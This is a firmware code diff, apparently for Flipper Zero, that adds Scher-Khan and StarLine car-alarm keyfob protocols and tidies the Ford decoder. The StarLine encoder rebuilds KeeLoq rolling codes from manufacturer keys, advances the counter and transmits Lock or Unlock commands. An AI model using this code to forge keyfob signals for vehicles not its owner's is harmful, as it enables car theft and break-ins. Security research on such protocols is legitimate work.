@@ -882,9 +878,6 @@ SubGhzProtocolStatus subghz_protocol_decoder_ford_v0_serialize(
flipper_format_write_uint32(flipper_format, "Btn", &temp, 1);
flipper_format_write_uint32(flipper_format, "Cnt", &instance->count, 1);
temp = (uint32_t)instance->bs_magic;
flipper_format_write_uint32(flipper_format, "BSMagic", &temp, 1);
}
return ret;
@@ -898,7 +891,9 @@ SubGhzProtocolStatus
SubGhzProtocolStatus ret = subghz_block_generic_deserialize_check_count_bit(
&instance->generic, flipper_format, subghz_protocol_ford_v0_const.min_count_bit_for_found);
FURI_LOG_I(TAG, "Decoder deserialize: generic_ret=%d generic.data=%08lX%08lX",
FURI_LOG_I(
TAG,
"Decoder deserialize: generic_ret=%d generic.data=%08lX%08lX",
ret,
(unsigned long)(instance->generic.data >> 32),
(unsigned long)(instance->generic.data & 0xFFFFFFFF));
@@ -908,12 +903,17 @@ SubGhzProtocolStatus
flipper_format_rewind(flipper_format);
uint32_t bs_temp = 0;
uint32_t checksum_temp = 0;
uint32_t crc_temp = 0;
flipper_format_read_uint32(flipper_format, "BS", &bs_temp, 1);
flipper_format_read_uint32(flipper_format, "Checksum", &checksum_temp, 1);
flipper_format_read_uint32(flipper_format, "CRC", &crc_temp, 1);
instance->key2 = ((bs_temp & 0xFF) << 8) | (crc_temp & 0xFF);
FURI_LOG_I(TAG, "Decoder deserialize: BS=0x%02lX CRC=0x%02lX key2=0x%04X", bs_temp, crc_temp, instance->key2);
instance->key2 = ((checksum_temp & 0xFF) << 8) | (crc_temp & 0xFF);
FURI_LOG_I(
TAG,
"Decoder deserialize: Checksum=0x%02lX CRC=0x%02lX key2=0x%04X",
checksum_temp,
crc_temp,
instance->key2);
flipper_format_read_uint32(flipper_format, "Serial", &instance->serial, 1);
instance->generic.serial = instance->serial;
@@ -926,18 +926,16 @@ SubGhzProtocolStatus
flipper_format_read_uint32(flipper_format, "Cnt", &instance->count, 1);
instance->generic.cnt = instance->count;
FURI_LOG_I(TAG, "Decoder deserialize: Sn=0x%08lX Btn=0x%02X Cnt=0x%05lX",
FURI_LOG_I(
TAG,
"Decoder deserialize: Sn=0x%08lX Btn=0x%02X Cnt=0x%05lX",
(unsigned long)instance->serial,
instance->button,
(unsigned long)instance->count);
uint32_t bs_magic_temp = 0;
if(flipper_format_read_uint32(flipper_format, "BSMagic", &bs_magic_temp, 1))
instance->bs_magic = bs_magic_temp;
else
instance->bs_magic = 0x6F;
FURI_LOG_I(TAG, "Decoder deserialize: BSMagic=0x%02X key1=%08lX%08lX",
instance->bs_magic,
FURI_LOG_I(
TAG,
"Decoder deserialize: key1=%08lX%08lX",
(unsigned long)(instance->key1 >> 32),
(unsigned long)(instance->key1 & 0xFFFFFFFF));
}
@@ -985,6 +983,5 @@ void subghz_protocol_decoder_ford_v0_get_string(void* context, FuriString* outpu
(unsigned long)instance->count,
(unsigned int)display_btn,
button_name,
crc_ok ? "OK" : "BAD"
);
crc_ok ? "OK" : "BAD");
}

View File

@@ -72,6 +72,8 @@ const SubGhzProtocol* const subghz_protocol_registry_items[] = {
&subghz_protocol_kia_v6,
&subghz_protocol_suzuki,
&subghz_protocol_mitsubishi_v0,
&subghz_protocol_star_line,
&subghz_protocol_scher_khan,
};
const SubGhzProtocolRegistry subghz_protocol_registry = {

View File

@@ -74,3 +74,5 @@
#include "suzuki.h"
#include "mitsubishi_v0.h"
#include "mazda_siemens.h"
#include "star_line.h"
#include "scher_khan.h"

View File

@@ -0,0 +1,382 @@
#include "scher_khan.h"
#include "../blocks/custom_btn_i.h"
#include "../blocks/generic.h"
#define TAG "SubGhzProtocolScherKhan"
static const char* scher_khan_btn_name(uint8_t btn) {
switch(btn) {
case 0x1: return "Lock";
case 0x2: return "Unlock";
case 0x4: return "Trunk";
case 0x8: return "Aux";
default: return "?";
}
}
static uint8_t scher_khan_btn_to_custom(uint8_t btn) {
switch(btn) {
case 0x1: return SUBGHZ_CUSTOM_BTN_UP;
case 0x2: return SUBGHZ_CUSTOM_BTN_DOWN;
case 0x4: return SUBGHZ_CUSTOM_BTN_LEFT;
case 0x8: return SUBGHZ_CUSTOM_BTN_RIGHT;
default: return SUBGHZ_CUSTOM_BTN_OK;
}
}
static uint8_t scher_khan_custom_to_btn(uint8_t custom, uint8_t original_btn) {
if(custom == SUBGHZ_CUSTOM_BTN_OK) return original_btn;
if(custom == SUBGHZ_CUSTOM_BTN_UP) return 0x1;
if(custom == SUBGHZ_CUSTOM_BTN_DOWN) return 0x2;
if(custom == SUBGHZ_CUSTOM_BTN_LEFT) return 0x4;
if(custom == SUBGHZ_CUSTOM_BTN_RIGHT) return 0x8;
return original_btn;
}
static uint8_t scher_khan_get_btn_code(uint8_t original_btn) {
return scher_khan_custom_to_btn(subghz_custom_btn_get(), original_btn);
}
static const SubGhzBlockConst subghz_protocol_scher_khan_const = {
.te_short = 750,
.te_long = 1100,
.te_delta = 160,
.min_count_bit_for_found = 35,
};
struct SubGhzProtocolDecoderScherKhan {
SubGhzProtocolDecoderBase base;
SubGhzBlockDecoder decoder;
SubGhzBlockGeneric generic;
uint16_t header_count;
const char* protocol_name;
};
struct SubGhzProtocolEncoderScherKhan {
SubGhzProtocolEncoderBase base;
SubGhzProtocolBlockEncoder encoder;
SubGhzBlockGeneric generic;
};
typedef enum {
ScherKhanDecoderStepReset = 0,
ScherKhanDecoderStepCheckPreambula,
ScherKhanDecoderStepSaveDuration,
ScherKhanDecoderStepCheckDuration,
} ScherKhanDecoderStep;
const SubGhzProtocolDecoder subghz_protocol_scher_khan_decoder = {
.alloc = subghz_protocol_decoder_scher_khan_alloc,
.free = subghz_protocol_decoder_scher_khan_free,
.feed = subghz_protocol_decoder_scher_khan_feed,
.reset = subghz_protocol_decoder_scher_khan_reset,
.get_hash_data = subghz_protocol_decoder_scher_khan_get_hash_data,
.serialize = subghz_protocol_decoder_scher_khan_serialize,
.deserialize = subghz_protocol_decoder_scher_khan_deserialize,
.get_string = subghz_protocol_decoder_scher_khan_get_string,
};
const SubGhzProtocolEncoder subghz_protocol_scher_khan_encoder = {
.alloc = NULL,
.free = NULL,
.deserialize = NULL,
.stop = NULL,
.yield = NULL,
};
const SubGhzProtocol subghz_protocol_scher_khan = {
.name = SUBGHZ_PROTOCOL_SCHER_KHAN_NAME,
.type = SubGhzProtocolTypeDynamic,
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_FM | SubGhzProtocolFlag_Decodable,
.decoder = &subghz_protocol_scher_khan_decoder,
.encoder = &subghz_protocol_scher_khan_encoder,
};
void* subghz_protocol_decoder_scher_khan_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolDecoderScherKhan* instance = malloc(sizeof(SubGhzProtocolDecoderScherKhan));
instance->base.protocol = &subghz_protocol_scher_khan;
instance->generic.protocol_name = instance->base.protocol->name;
return instance;
}
void subghz_protocol_decoder_scher_khan_free(void* context) {
furi_check(context);
SubGhzProtocolDecoderScherKhan* instance = context;
free(instance);
}
void subghz_protocol_decoder_scher_khan_reset(void* context) {
furi_check(context);
SubGhzProtocolDecoderScherKhan* instance = context;
instance->decoder.parser_step = ScherKhanDecoderStepReset;
}
void subghz_protocol_decoder_scher_khan_feed(void* context, bool level, uint32_t duration) {
furi_check(context);
SubGhzProtocolDecoderScherKhan* instance = context;
switch(instance->decoder.parser_step) {
case ScherKhanDecoderStepReset:
if((level) && (DURATION_DIFF(duration, subghz_protocol_scher_khan_const.te_short * 2) <
subghz_protocol_scher_khan_const.te_delta)) {
instance->decoder.parser_step = ScherKhanDecoderStepCheckPreambula;
instance->decoder.te_last = duration;
instance->header_count = 0;
}
break;
case ScherKhanDecoderStepCheckPreambula:
if(level) {
if((DURATION_DIFF(duration, subghz_protocol_scher_khan_const.te_short * 2) <
subghz_protocol_scher_khan_const.te_delta) ||
(DURATION_DIFF(duration, subghz_protocol_scher_khan_const.te_short) <
subghz_protocol_scher_khan_const.te_delta)) {
instance->decoder.te_last = duration;
} else {
instance->decoder.parser_step = ScherKhanDecoderStepReset;
}
} else if(
(DURATION_DIFF(duration, subghz_protocol_scher_khan_const.te_short * 2) <
subghz_protocol_scher_khan_const.te_delta) ||
(DURATION_DIFF(duration, subghz_protocol_scher_khan_const.te_short) <
subghz_protocol_scher_khan_const.te_delta)) {
if(DURATION_DIFF(
instance->decoder.te_last, subghz_protocol_scher_khan_const.te_short * 2) <
subghz_protocol_scher_khan_const.te_delta) {
instance->header_count++;
break;
} else if(
DURATION_DIFF(
instance->decoder.te_last, subghz_protocol_scher_khan_const.te_short) <
subghz_protocol_scher_khan_const.te_delta) {
if(instance->header_count >= 2) {
instance->decoder.parser_step = ScherKhanDecoderStepSaveDuration;
instance->decoder.decode_data = 0;
instance->decoder.decode_count_bit = 1;
} else {
instance->decoder.parser_step = ScherKhanDecoderStepReset;
}
} else {
instance->decoder.parser_step = ScherKhanDecoderStepReset;
}
} else {
instance->decoder.parser_step = ScherKhanDecoderStepReset;
}
break;
case ScherKhanDecoderStepSaveDuration:
if(level) {
if(duration >= (subghz_protocol_scher_khan_const.te_delta * 2UL +
subghz_protocol_scher_khan_const.te_long)) {
instance->decoder.parser_step = ScherKhanDecoderStepReset;
if(instance->decoder.decode_count_bit >=
subghz_protocol_scher_khan_const.min_count_bit_for_found) {
instance->generic.data = instance->decoder.decode_data;
instance->generic.data_count_bit = instance->decoder.decode_count_bit;
if(instance->base.callback)
instance->base.callback(&instance->base, instance->base.context);
}
instance->decoder.decode_data = 0;
instance->decoder.decode_count_bit = 0;
break;
} else {
instance->decoder.te_last = duration;
instance->decoder.parser_step = ScherKhanDecoderStepCheckDuration;
}
} else {
instance->decoder.parser_step = ScherKhanDecoderStepReset;
}
break;
case ScherKhanDecoderStepCheckDuration:
if(!level) {
if((DURATION_DIFF(
instance->decoder.te_last, subghz_protocol_scher_khan_const.te_short) <
subghz_protocol_scher_khan_const.te_delta) &&
(DURATION_DIFF(duration, subghz_protocol_scher_khan_const.te_short) <
subghz_protocol_scher_khan_const.te_delta)) {
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
instance->decoder.parser_step = ScherKhanDecoderStepSaveDuration;
} else if(
(DURATION_DIFF(
instance->decoder.te_last, subghz_protocol_scher_khan_const.te_long) <
subghz_protocol_scher_khan_const.te_delta) &&
(DURATION_DIFF(duration, subghz_protocol_scher_khan_const.te_long) <
subghz_protocol_scher_khan_const.te_delta)) {
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
instance->decoder.parser_step = ScherKhanDecoderStepSaveDuration;
} else {
instance->decoder.parser_step = ScherKhanDecoderStepReset;
}
} else {
instance->decoder.parser_step = ScherKhanDecoderStepReset;
}
break;
}
}
static void subghz_protocol_scher_khan_check_remote_controller(
SubGhzBlockGeneric* instance,
const char** protocol_name) {
switch(instance->data_count_bit) {
case 35:
*protocol_name = "MAGIC CODE, Static";
instance->serial = 0;
instance->btn = 0;
instance->cnt = 0;
break;
case 51:
*protocol_name = "MAGIC CODE, Dynamic";
instance->serial = ((instance->data >> 24) & 0xFFFFFF0) | ((instance->data >> 20) & 0x0F);
instance->btn = (instance->data >> 24) & 0x0F;
instance->cnt = instance->data & 0xFFFF;
break;
case 57:
*protocol_name = "MAGIC CODE PRO/PRO2";
instance->serial = 0;
instance->btn = 0;
instance->cnt = 0;
break;
case 63:
*protocol_name = "MAGIC CODE, Response";
instance->serial = 0;
instance->btn = 0;
instance->cnt = 0;
break;
case 64:
*protocol_name = "MAGICAR, Response";
instance->serial = 0;
instance->btn = 0;
instance->cnt = 0;
break;
case 81:
case 82:
*protocol_name = "MAGIC CODE PRO,\n Response";
instance->serial = 0;
instance->btn = 0;
instance->cnt = 0;
break;
default:
*protocol_name = "Unknown";
instance->serial = 0;
instance->btn = 0;
instance->cnt = 0;
break;
}
}
uint8_t subghz_protocol_decoder_scher_khan_get_hash_data(void* context) {
furi_check(context);
SubGhzProtocolDecoderScherKhan* instance = context;
return subghz_protocol_blocks_get_hash_data(
&instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
}
SubGhzProtocolStatus subghz_protocol_decoder_scher_khan_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset) {
furi_check(context);
SubGhzProtocolDecoderScherKhan* instance = context;
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
do {
if(!flipper_format_write_header_cstr(
flipper_format, "Flipper SubGhz Key File", 1)) {
break;
}
if(preset != NULL) {
if(!flipper_format_insert_or_update_uint32(
flipper_format, "Frequency", &preset->frequency, 1)) {
break;
}
FuriString* preset_str = furi_string_alloc();
subghz_block_generic_get_preset_name(
furi_string_get_cstr(preset->name), preset_str);
if(!flipper_format_insert_or_update_string_cstr(
flipper_format, "Preset", furi_string_get_cstr(preset_str))) {
furi_string_free(preset_str);
break;
}
furi_string_free(preset_str);
}
if(!flipper_format_insert_or_update_string_cstr(
flipper_format, "Protocol", instance->generic.protocol_name)) {
break;
}
uint32_t bits = instance->generic.data_count_bit;
if(!flipper_format_insert_or_update_uint32(flipper_format, "Bit", &bits, 1)) {
break;
}
char key_str[20];
snprintf(key_str, sizeof(key_str), "%016llX", instance->generic.data);
if(!flipper_format_insert_or_update_string_cstr(flipper_format, "Key", key_str)) {
break;
}
if(!flipper_format_insert_or_update_uint32(
flipper_format, "Serial", &instance->generic.serial, 1)) {
break;
}
uint32_t temp = instance->generic.btn;
if(!flipper_format_insert_or_update_uint32(flipper_format, "Btn", &temp, 1)) {
break;
}
if(!flipper_format_insert_or_update_uint32(
flipper_format, "Cnt", &instance->generic.cnt, 1)) {
break;
}
ret = SubGhzProtocolStatusOk;
} while(false);
return ret;
}
SubGhzProtocolStatus
subghz_protocol_decoder_scher_khan_deserialize(void* context, FlipperFormat* flipper_format) {
furi_check(context);
SubGhzProtocolDecoderScherKhan* instance = context;
return subghz_block_generic_deserialize(&instance->generic, flipper_format);
}
void subghz_protocol_decoder_scher_khan_get_string(void* context, FuriString* output) {
furi_check(context);
SubGhzProtocolDecoderScherKhan* instance = context;
subghz_protocol_scher_khan_check_remote_controller(
&instance->generic, &instance->protocol_name);
subghz_custom_btn_set_original(scher_khan_btn_to_custom(instance->generic.btn));
subghz_custom_btn_set_max(4);
furi_string_cat_printf(
output,
"%s %dbit\r\n"
"Key:0x%lX%08lX\r\n"
"Sn:%07lX Btn:[%s]\r\n"
"Cntr:%04lX\r\n"
"Pt: %s\r\n",
instance->generic.protocol_name,
instance->generic.data_count_bit,
(uint32_t)(instance->generic.data >> 32),
(uint32_t)instance->generic.data,
instance->generic.serial,
scher_khan_btn_name(scher_khan_get_btn_code(instance->generic.btn)),
instance->generic.cnt,
instance->protocol_name);
}

View File

@@ -0,0 +1,37 @@
#pragma once
#include <furi.h>
#include <lib/subghz/protocols/base.h>
#include <lib/subghz/types.h>
#include <lib/subghz/blocks/const.h>
#include <lib/subghz/blocks/decoder.h>
#include <lib/subghz/blocks/encoder.h>
#include <lib/subghz/blocks/generic.h>
#include <lib/subghz/blocks/math.h>
#include <lib/toolbox/manchester_decoder.h>
#include <flipper_format/flipper_format.h>
#define SUBGHZ_PROTOCOL_SCHER_KHAN_NAME "Scher-Khan"
typedef struct SubGhzProtocolDecoderScherKhan SubGhzProtocolDecoderScherKhan;
typedef struct SubGhzProtocolEncoderScherKhan SubGhzProtocolEncoderScherKhan;
extern const SubGhzProtocolDecoder subghz_protocol_scher_khan_decoder;
extern const SubGhzProtocolEncoder subghz_protocol_scher_khan_encoder;
extern const SubGhzProtocol subghz_protocol_scher_khan;
void* subghz_protocol_decoder_scher_khan_alloc(SubGhzEnvironment* environment);
void subghz_protocol_decoder_scher_khan_free(void* context);
void subghz_protocol_decoder_scher_khan_reset(void* context);
void subghz_protocol_decoder_scher_khan_feed(void* context, bool level, uint32_t duration);
uint8_t subghz_protocol_decoder_scher_khan_get_hash_data(void* context);
SubGhzProtocolStatus subghz_protocol_decoder_scher_khan_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset);
SubGhzProtocolStatus
subghz_protocol_decoder_scher_khan_deserialize(void* context, FlipperFormat* flipper_format);
void subghz_protocol_decoder_scher_khan_get_string(void* context, FuriString* output);

View File

@@ -0,0 +1,995 @@
#include "star_line.h"
#include "keeloq_common.h"
#include <lib/subghz/subghz_keystore.h>
#include "../subghz_keystore_i.h"
#include "../blocks/custom_btn_i.h"
#define TAG "SubGhzProtocolStarLine"
static const char* star_line_btn_name(uint8_t btn) {
switch(btn) {
case 0x01: return "Lock";
case 0x02: return "Unlock";
case 0x04: return "Trunk";
case 0x08: return "Aux";
default: return "?";
}
}
static uint8_t star_line_btn_to_custom(uint8_t btn) {
switch(btn) {
case 0x01: return SUBGHZ_CUSTOM_BTN_UP;
case 0x02: return SUBGHZ_CUSTOM_BTN_DOWN;
case 0x04: return SUBGHZ_CUSTOM_BTN_LEFT;
case 0x08: return SUBGHZ_CUSTOM_BTN_RIGHT;
default: return SUBGHZ_CUSTOM_BTN_OK;
}
}
static uint8_t star_line_custom_to_btn(uint8_t custom, uint8_t original_btn) {
if(custom == SUBGHZ_CUSTOM_BTN_OK) return original_btn;
if(custom == SUBGHZ_CUSTOM_BTN_UP) return 0x01;
if(custom == SUBGHZ_CUSTOM_BTN_DOWN) return 0x02;
if(custom == SUBGHZ_CUSTOM_BTN_LEFT) return 0x04;
if(custom == SUBGHZ_CUSTOM_BTN_RIGHT) return 0x08;
return original_btn;
}
static uint8_t star_line_get_btn_code(uint8_t original_btn) {
uint8_t custom = subghz_custom_btn_get();
return star_line_custom_to_btn(custom, original_btn);
}
static const SubGhzBlockConst subghz_protocol_star_line_const = {
.te_short = 250,
.te_long = 500,
.te_delta = 120,
.min_count_bit_for_found = 64,
};
struct SubGhzProtocolDecoderStarLine {
SubGhzProtocolDecoderBase base;
SubGhzBlockDecoder decoder;
SubGhzBlockGeneric generic;
uint16_t header_count;
SubGhzKeystore* keystore;
const char* manufacture_name;
FuriString* manufacture_from_file;
};
struct SubGhzProtocolEncoderStarLine {
SubGhzProtocolEncoderBase base;
SubGhzProtocolBlockEncoder encoder;
SubGhzBlockGeneric generic;
SubGhzKeystore* keystore;
const char* manufacture_name;
FuriString* manufacture_from_file;
};
typedef enum {
StarLineDecoderStepReset = 0,
StarLineDecoderStepCheckPreambula,
StarLineDecoderStepSaveDuration,
StarLineDecoderStepCheckDuration,
} StarLineDecoderStep;
const SubGhzProtocolDecoder subghz_protocol_star_line_decoder = {
.alloc = subghz_protocol_decoder_star_line_alloc,
.free = subghz_protocol_decoder_star_line_free,
.feed = subghz_protocol_decoder_star_line_feed,
.reset = subghz_protocol_decoder_star_line_reset,
.get_hash_data = subghz_protocol_decoder_star_line_get_hash_data,
.serialize = subghz_protocol_decoder_star_line_serialize,
.deserialize = subghz_protocol_decoder_star_line_deserialize,
.get_string = subghz_protocol_decoder_star_line_get_string,
};
const SubGhzProtocolEncoder subghz_protocol_star_line_encoder = {
.alloc = subghz_protocol_encoder_star_line_alloc,
.free = subghz_protocol_encoder_star_line_free,
.deserialize = subghz_protocol_encoder_star_line_deserialize,
.stop = subghz_protocol_encoder_star_line_stop,
.yield = subghz_protocol_encoder_star_line_yield,
};
const SubGhzProtocol subghz_protocol_star_line = {
.name = SUBGHZ_PROTOCOL_STAR_LINE_NAME,
.type = SubGhzProtocolTypeDynamic,
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
.decoder = &subghz_protocol_star_line_decoder,
.encoder = &subghz_protocol_star_line_encoder,
};
static void subghz_protocol_star_line_check_remote_controller(
SubGhzBlockGeneric* instance,
SubGhzKeystore* keystore,
const char** manufacture_name);
void* subghz_protocol_encoder_star_line_alloc(SubGhzEnvironment* environment) {
SubGhzProtocolEncoderStarLine* instance = malloc(sizeof(SubGhzProtocolEncoderStarLine));
instance->base.protocol = &subghz_protocol_star_line;
instance->generic.protocol_name = instance->base.protocol->name;
instance->keystore = subghz_environment_get_keystore(environment);
instance->manufacture_from_file = furi_string_alloc();
instance->encoder.repeat = 40;
instance->encoder.size_upload = 256;
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
instance->encoder.is_running = false;
return instance;
}
void subghz_protocol_encoder_star_line_free(void* context) {
furi_check(context);
SubGhzProtocolEncoderStarLine* instance = context;
furi_string_free(instance->manufacture_from_file);
free(instance->encoder.upload);
free(instance);
}
static bool
subghz_protocol_star_line_gen_data(SubGhzProtocolEncoderStarLine* instance, uint8_t btn) {
if((instance->generic.cnt + 1) > 0xFFFF) {
instance->generic.cnt = 0;
} else {
instance->generic.cnt += 1;
}
uint32_t fix = btn << 24 | instance->generic.serial;
uint32_t decrypt = btn << 24 | (instance->generic.serial & 0xFF) << 16 | instance->generic.cnt;
uint32_t hop = 0;
uint64_t man = 0;
uint64_t code_found_reverse;
int res = 0;
if(instance->manufacture_name == 0x0) {
instance->manufacture_name = "";
}
if(strcmp(instance->manufacture_name, "Unknown") == 0) {
code_found_reverse = subghz_protocol_blocks_reverse_key(
instance->generic.data, instance->generic.data_count_bit);
hop = code_found_reverse & 0x00000000ffffffff;
} else {
uint8_t kl_type_en = instance->keystore->kl_type;
for
M_EACH(
manufacture_code,
*subghz_keystore_get_data(instance->keystore),
SubGhzKeyArray_t) {
res = strcmp(
furi_string_get_cstr(manufacture_code->name), instance->manufacture_name);
if(res == 0) {
switch(manufacture_code->type) {
case KEELOQ_LEARNING_SIMPLE:
hop =
subghz_protocol_keeloq_common_encrypt(decrypt, manufacture_code->key);
break;
case KEELOQ_LEARNING_NORMAL:
man = subghz_protocol_keeloq_common_normal_learning(
fix, manufacture_code->key);
hop = subghz_protocol_keeloq_common_encrypt(decrypt, man);
break;
case KEELOQ_LEARNING_UNKNOWN:
if(kl_type_en == 1) {
hop = subghz_protocol_keeloq_common_encrypt(
decrypt, manufacture_code->key);
}
if(kl_type_en == 2) {
man = subghz_protocol_keeloq_common_normal_learning(
fix, manufacture_code->key);
hop = subghz_protocol_keeloq_common_encrypt(decrypt, man);
}
break;
}
break;
}
}
}
if(hop) {
uint64_t yek = (uint64_t)fix << 32 | hop;
instance->generic.data =
subghz_protocol_blocks_reverse_key(yek, instance->generic.data_count_bit);
return true;
} else {
instance->manufacture_name = "Unknown";
return false;
}
}
bool subghz_protocol_star_line_create_data(
void* context,
FlipperFormat* flipper_format,
uint32_t serial,
uint8_t btn,
uint16_t cnt,
const char* manufacture_name,
SubGhzRadioPreset* preset) {
furi_check(context);
SubGhzProtocolEncoderStarLine* instance = context;
instance->generic.serial = serial;
instance->generic.cnt = cnt;
instance->manufacture_name = manufacture_name;
instance->generic.data_count_bit = 64;
bool res = subghz_protocol_star_line_gen_data(instance, btn);
if(res) {
return SubGhzProtocolStatusOk ==
subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
}
return res;
}
static bool subghz_protocol_encoder_star_line_get_upload(
SubGhzProtocolEncoderStarLine* instance,
uint8_t btn) {
furi_check(instance);
if(!subghz_protocol_star_line_gen_data(instance, btn)) {
return false;
}
size_t index = 0;
size_t size_upload = 6 * 2 + (instance->generic.data_count_bit * 2);
if(size_upload > instance->encoder.size_upload) {
FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
return false;
} else {
instance->encoder.size_upload = size_upload;
}
for(uint8_t i = 6; i > 0; i--) {
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_star_line_const.te_long * 2);
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_star_line_const.te_long * 2);
}
for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
if(bit_read(instance->generic.data, i - 1)) {
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_star_line_const.te_long);
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_star_line_const.te_long);
} else {
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_star_line_const.te_short);
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_star_line_const.te_short);
}
}
return true;
}
static SubGhzProtocolStatus subghz_protocol_encoder_star_line_serialize(
SubGhzProtocolEncoderStarLine* instance,
FlipperFormat* flipper_format) {
subghz_protocol_star_line_check_remote_controller(
&instance->generic, instance->keystore, &instance->manufacture_name);
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
do {
if(!flipper_format_insert_or_update_string_cstr(
flipper_format, "Protocol", instance->generic.protocol_name)) {
break;
}
uint32_t bits = instance->generic.data_count_bit;
if(!flipper_format_insert_or_update_uint32(flipper_format, "Bit", &bits, 1)) {
break;
}
char key_str[20];
snprintf(key_str, sizeof(key_str), "%016llX", instance->generic.data);
if(!flipper_format_insert_or_update_string_cstr(flipper_format, "Key", key_str)) {
break;
}
if(!flipper_format_insert_or_update_uint32(
flipper_format, "Serial", &instance->generic.serial, 1)) {
break;
}
uint32_t temp = instance->generic.btn;
if(!flipper_format_insert_or_update_uint32(flipper_format, "Btn", &temp, 1)) {
break;
}
if(!flipper_format_insert_or_update_uint32(
flipper_format, "Cnt", &instance->generic.cnt, 1)) {
break;
}
if(!flipper_format_insert_or_update_string_cstr(
flipper_format, "Manufacture", instance->manufacture_name)) {
break;
}
ret = SubGhzProtocolStatusOk;
} while(false);
return ret;
}
SubGhzProtocolStatus
subghz_protocol_encoder_star_line_deserialize(void* context, FlipperFormat* flipper_format) {
furi_check(context);
SubGhzProtocolEncoderStarLine* instance = context;
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
flipper_format_rewind(flipper_format);
do {
FuriString* temp_str = furi_string_alloc();
if(!flipper_format_read_string(flipper_format, "Protocol", temp_str)) {
FURI_LOG_E(TAG, "Missing Protocol");
furi_string_free(temp_str);
break;
}
if(!furi_string_equal(temp_str, instance->base.protocol->name)) {
FURI_LOG_E(
TAG,
"Wrong protocol %s != %s",
furi_string_get_cstr(temp_str),
instance->base.protocol->name);
furi_string_free(temp_str);
break;
}
furi_string_free(temp_str);
uint32_t bit_count_temp;
if(!flipper_format_read_uint32(flipper_format, "Bit", &bit_count_temp, 1)) {
FURI_LOG_E(TAG, "Missing Bit");
break;
}
instance->generic.data_count_bit = subghz_protocol_star_line_const.min_count_bit_for_found;
temp_str = furi_string_alloc();
if(!flipper_format_read_string(flipper_format, "Key", temp_str)) {
FURI_LOG_E(TAG, "Missing Key");
furi_string_free(temp_str);
break;
}
const char* key_str = furi_string_get_cstr(temp_str);
uint64_t key = 0;
size_t str_len = strlen(key_str);
size_t hex_pos = 0;
for(size_t i = 0; i < str_len && hex_pos < 16; i++) {
char c = key_str[i];
if(c == ' ') continue;
uint8_t nibble;
if(c >= '0' && c <= '9') {
nibble = c - '0';
} else if(c >= 'A' && c <= 'F') {
nibble = c - 'A' + 10;
} else if(c >= 'a' && c <= 'f') {
nibble = c - 'a' + 10;
} else {
FURI_LOG_E(TAG, "Invalid hex character: %c", c);
furi_string_free(temp_str);
break;
}
key = (key << 4) | nibble;
hex_pos++;
}
furi_string_free(temp_str);
if(hex_pos != 16) {
FURI_LOG_E(TAG, "Invalid key length: %zu nibbles (expected 16)", hex_pos);
break;
}
instance->generic.data = key;
FURI_LOG_I(TAG, "Parsed key: 0x%016llX", instance->generic.data);
if(instance->generic.data == 0) {
FURI_LOG_E(TAG, "Key is zero after parsing!");
break;
}
if(!flipper_format_read_uint32(flipper_format, "Serial", &instance->generic.serial, 1)) {
instance->generic.serial = instance->generic.data >> 24;
FURI_LOG_I(TAG, "Extracted serial: 0x%08lX", instance->generic.serial);
} else {
FURI_LOG_I(TAG, "Read serial: 0x%08lX", instance->generic.serial);
}
uint32_t btn_temp;
if(flipper_format_read_uint32(flipper_format, "Btn", &btn_temp, 1)) {
instance->generic.btn = (uint8_t)btn_temp;
FURI_LOG_I(TAG, "Read button: 0x%02X", instance->generic.btn);
} else {
instance->generic.btn = (instance->generic.data >> 16) & 0xFF;
FURI_LOG_I(TAG, "Extracted button: 0x%02X", instance->generic.btn);
}
subghz_custom_btn_set_original(star_line_btn_to_custom(instance->generic.btn));
subghz_custom_btn_set_max(4);
uint32_t cnt_temp;
if(flipper_format_read_uint32(flipper_format, "Cnt", &cnt_temp, 1)) {
instance->generic.cnt = (uint16_t)cnt_temp;
FURI_LOG_I(TAG, "Read counter: 0x%03lX", (unsigned long)instance->generic.cnt);
}
if(!flipper_format_read_uint32(
flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1)) {
instance->encoder.repeat = 40;
FURI_LOG_D(
TAG, "Repeat not found in file, using default 40 for continuous transmission");
}
if(!flipper_format_rewind(flipper_format)) {
FURI_LOG_E(TAG, "Rewind error");
break;
}
if(flipper_format_read_string(
flipper_format, "Manufacture", instance->manufacture_from_file)) {
instance->manufacture_name = furi_string_get_cstr(instance->manufacture_from_file);
instance->keystore->mfname = instance->manufacture_name;
} else {
FURI_LOG_D(TAG, "ENCODER: Missing Manufacture");
}
subghz_protocol_star_line_check_remote_controller(
&instance->generic, instance->keystore, &instance->manufacture_name);
uint8_t selected_btn = star_line_get_btn_code(instance->generic.btn);
subghz_protocol_encoder_star_line_get_upload(instance, selected_btn);
subghz_protocol_encoder_star_line_serialize(instance, flipper_format);
instance->encoder.is_running = true;
FURI_LOG_I(
TAG,
"Encoder deserialized: repeat=%u, size_upload=%zu, is_running=%d, front=%zu",
instance->encoder.repeat,
instance->encoder.size_upload,
instance->encoder.is_running,
instance->encoder.front);
ret = SubGhzProtocolStatusOk;
} while(false);
return ret;
}
void subghz_protocol_encoder_star_line_stop(void* context) {
SubGhzProtocolEncoderStarLine* instance = context;
instance->encoder.is_running = false;
}
